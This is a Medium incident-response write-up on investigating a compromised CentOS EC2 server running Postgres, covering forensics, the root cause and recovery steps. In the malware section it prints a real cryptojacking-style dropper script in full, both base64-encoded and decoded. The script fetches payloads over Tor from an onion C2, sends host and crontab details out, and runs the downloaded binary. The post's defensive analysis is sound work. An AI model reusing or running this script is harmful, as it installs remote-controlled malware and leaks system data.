Anatomy of a Hack

The Abuse Report

> ##################################################################
> # Netscan detected from host <src_ip> #
> ##################################################################
>
> time protocol src_ip src_port dest_ip dest_port
> ------------------------------------------------------------------
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 43786 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 49336 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 39930 => <dst_ip> 8081
[ SNIP ]
> Mon Feb 8 16:54:20 2021 TCP <src_ip> 58164 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 39484 => <dst_ip> 8081
> Mon Feb 8 16:54:20 2021 TCP <src_ip> 39484 => <dst_ip> 8081

Getting Access to Investigate

Setting Up a Safe Environment

Forensics Lite

The Examination

$ script
Script started, file is typescript
$ sudo su -
# whoami
# root
# cat /etc/os-release | grep -i name
NAME=”CentOS Linux”
PRETTY_NAME=”CentOS Linux 7 (Core)”
CPE_NAME=”cpe:/o:centos:centos:7"
# netstat -a | grep LISTEN | grep -v unix
tcp 0 0 0.0.0.0:postgres 0.0.0.0:* LISTEN
tcp 0 0 localhost:smtp 0.0.0.0:* LISTEN
tcp6 0 0 [::]:https [::]:* LISTEN
tcp6 0 0 [::]:mysql [::]:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:postgres [::]:* LISTEN
tcp6 0 0 localhost:smtp [::]:* LISTEN
[root@ip-172–31–50–61 ~]# lsof -i :https
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
httpd 1115 root 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1185 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1186 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1187 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1188 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1195 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
monit 1488 root 5u IPv4 50122 0t0 TCP <FQDN>:54836-><ip_addr>:https (SYN_SENT)
# ls -l secure*
-rw — — — — 1 root root 0 Feb 7 03:49 secure
-rw — — — — 1 root root 0 Jan 10 03:16 secure-20210117
-rw — — — — 1 root root 0 Jan 17 03:40 secure-20210124
-rw — — — — 1 root root 0 Jan 24 03:21 secure-20210131
-rw — — — — 1 root root 0 Jan 31 03:37 secure-20210207
-rw-r — r — 1 root root 0 Oct 30 2019 access_log
-rw-r — r — 1 root root 0 Apr 22 2020 error_log
-rw-r — r — 1 root root 0 Feb 7 03:49 ssl_access_log
-rw-r — r — 1 root root 0 Feb 7 03:49 ssl_request_log
#ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
[ SNIP ]
postgres 6142 0.0 0.0 113176 1408 ? S 21:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh
postgres 6145 0.0 0.0 113176 1488 ? S 21:24 0:00 bash
postgres 14922 0.0 0.0 113176 600 ? S 21:53 0:00 bash
postgres 14923 0.0 0.0 254620 3608 ? S 21:53 0:00 curl -4fsSLk checkip.amazonaws.com
postgres 15763 0.0 0.0 254624 3508 ? S 21:57 0:00 curl -4fsSLkA- -m200 y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid.onion.sh/int.x86_64 -o./8201f14981f08c7a832710ef00ac0902 -e_postgres_x86_64_<hostname>
postgres 23058 0.0 0.0 113176 1400 ? S 20:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh
postgres 23061 0.0 0.0 113176 1488 ? S 20:24 0:00 bash

The Malware

postgres 23058 0.0 0.0 113176 1400 ? S 20:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh
# cat /var/lib/pgsql/.systemd-service.sh
#!/bin/bash
exec &>/dev/null
echo hmYmVrPWjgeBWDuL9f0lNi0Y6f+TpJtCtQQ/FMlZiSyr2nbzRV2IyRshTqqz4rKi
echo aG1ZbVZyUFdqZ2VCV0R1TDlmMGxOaTBZNmYrVHBKdEN0UVEvRk1sWmlTeXIybmJ6UlYySXlSc2hUcXF6NHJLaQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ5NG1jcmZlaWdjYWEycm9iamszYXpiMnF3Y2Q1aGs0NXhwb2FkZHVwbWR3djI0cW9nZ25tZGJpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCB0b3Iyd2ViLmlvIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIHRvcjJ3ZWIudG8gb25pb24uc2gKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
hmYmVrPWjgeBWDuL9f0lNi0Y6f+TpJtCtQQ/FMlZiSyr2nbzRV2IyRshTqqz4rKi
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo “curl -4fsSLkA- -m200”)
t=$(echo “y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid”)
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo “dns-query?name=relay.tor2socks.in”)
s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE “\b([0–9]{1,3}\.){3}[0–9]{1,3}\b” |tr ‘ ‘ ‘\n’|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep ‘inet ‘|awk {‘print $2’}|md5sum|awk {‘print $1’})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done
  • It stops recording it’s own shell history.
  • It checks to see who it’s running as, what it’s IP address is, what system architecture it’s running on, what it’s hostname is and what cron jobs it has running.
  • It opens a socks proxy connection through the tor network to it’s command and control server (C2), announces itself, downloads a file (the payload) and runs it.

The Root Cause

  • VPC security groups were misconfigured to be wide open to the public internet.
  • Being open to the public internet, postgres was vulnerable to a brute force attack.
  • A plausible explanation is that the hacker was able to gain a foothold on the system via postgres, use the COPY TO/FROM PROGRAM feature to download and run the payload, elevate their local privileges from the postgres user to the root user, and then gain persistence.

The Recovery

  • Do NOT try to clean up and re-use the compromised EC2 instance. Since the attacker had been able to gain persistence there was just no way that we would be able to trust the system going forward. Even if we had deleted the malware, the hacker could have had other tools installed that we didn’t know about.
  • Redeploy a fresh instance of the system with all vulnerabilities remediated.
  • Review the deployment pipeline and ensure that the system can be cleanly redeployed in as little time as possible.
  • Update the postgres software package to the latest version.
  • If you do not need to connect to postgres over the network, reconfigure it and it’s client software to connect via a UNIX domain socket.
  • Regarding the controversial COPY TO/FROM PROGRAM feature, make sure that all database users are not granted the pg_execute_server_program role.
  • Change the password(s) of the postgres database user(s).
  • Rewrite and tighten the scope of the VPC security groups to follow the Principle of Least Privilege (POLP), only allowing access to specific network ports from specific sources as needed.
  • Review the postgres configuration and improve it’s security posture wherever possible. Multiple postgres security hardening guides exist on the Internet.
  • Audit the remaining infrastructure and remediate the same vulnerabilities from any and all instances if they exist.
  • Audit everything in the AWS account following good security practices and implementing and/or improving security controls by following any number of AWS account security hardening guides available on the Internet.
  • Enable enterprise SSO for all IAM users in the AWS account and enforce MFA.
  • Make use of the ScoutSuite tool to generate security recommendations.
  • And finally delete the resources that I had used during the investigation: the IAM Admin role, the EBS snapshot and the VPC security groups.

Lessons Learned

--

--

--

Information security analyst and consultant. Incident response specialist. Jazz musician. Fly angler. Dad. All around decent fellow.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

How Artificial Intelligence plays a Role In CyberSecurity — Scienceooze

Because Partnerships Create Bridges

Scan the whole internet while drinking coffee

Hawk :: Netz

How to solve being locked out of a Metamask wallet by sanctions

Everything You Need To Know — U.S. Users

Fundamentals of Top 10 Open Web Application Security Project

source: https://owasp.org/www-project-top-ten/

{UPDATE} kids animal puzzle - game Hack Free Resources Generator

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Nate Johnson

Nate Johnson

Information security analyst and consultant. Incident response specialist. Jazz musician. Fly angler. Dad. All around decent fellow.

More from Medium

CSRF prevention: Control your TLDs

Hack the box: backdoor write-up

Try Hack Me : GLITCH

Cryptography a Foundation of Cyber Security. (Part-2)